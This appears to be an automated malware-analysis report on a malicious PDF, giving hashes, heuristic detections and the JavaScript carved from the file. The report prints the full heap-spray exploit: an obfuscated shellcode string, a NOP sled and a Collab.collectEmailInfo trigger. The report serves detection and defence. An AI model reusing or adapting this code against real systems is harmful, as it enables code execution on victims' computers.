Malicious PDF — malware analysis report

Static analysis result for SHA-256 a7cfe87660dc1fce…

MALICIOUS

PDF

1.5 KB First seen: 2026-05-11
MD5: a0f6a745f963e4b8ffa176d3962c3c72 SHA-1: 608925e05142aec3137cc7753f5b50f576658aac SHA-256: a7cfe87660dc1fceb738723368e221773f937cf6a8ecbef88d7d78ca5c91d44a
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript streams, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The unescape() function was used, suggesting obfuscation. The extracted JavaScript files, 'javascript_obj111111_000.js' and 'javascript_obj111112_001.js', are likely responsible for executing malicious code. The exact payload or behavior of the script could not be fully determined due to potential obfuscation, leading to a moderate confidence level.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    return unescape(brxsxtb);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111111_000.js pdf-javascript-stream PDF /JS object 111111 at offset 0x160 2248 bytes
SHA-256: ab7779d45a863ae4981aa23fb13e074a56381ecbd12583704c8de9ecd1a3248d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function xsdni(brxsxtb)
{
return unescape(brxsxtb);
}
var gqbwcue = new Array();
var iqkraw = 'ARG0c0cARG0c0c'.replace(/ARG/igm,'%u');
var czxqb = 'ARG9090ARG9090'.replace(/ARG/igm,'%u');
var xlkoh2 = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ642FZ6E6FZ6269Z6162Z2E73Z6F63Z2F6DZ2F61Z2E6CZ687XZ3F7XZ3D69ZXX34Z9XXX'.replace(/Z/igm,'%u').replace(/X/igm,'0');
iqkraw=xsdni(iqkraw);
czxqb=xsdni(czxqb);
xlkoh2=xsdni(xlkoh2);
while (czxqb.length * 2 < 0x3fffc8-xlkoh2.length * 2){czxqb += czxqb;}
czxqb = czxqb.substr(0, (0x3fffc8-xlkoh2.length * 2) / 2);
for (var hmhrdn = 0; hmhrdn < 47; hmhrdn ++ ){gqbwcue[hmhrdn] = czxqb + xlkoh2;}
while (iqkraw.length < 44952){iqkraw += iqkraw;}
javascript_obj111112_001.js pdf-javascript-stream PDF /JS object 111112 at offset 0x565 66 bytes
SHA-256: 0ea248bf659288ae5c01172a1e440763d9ebb814e6abd7fcb9d5841db701fbcb
Preview script
First 1,000 lines of the extracted script
this.collabStore = Collab.collectEmailInfo({subj:"", msg:iqkraw});

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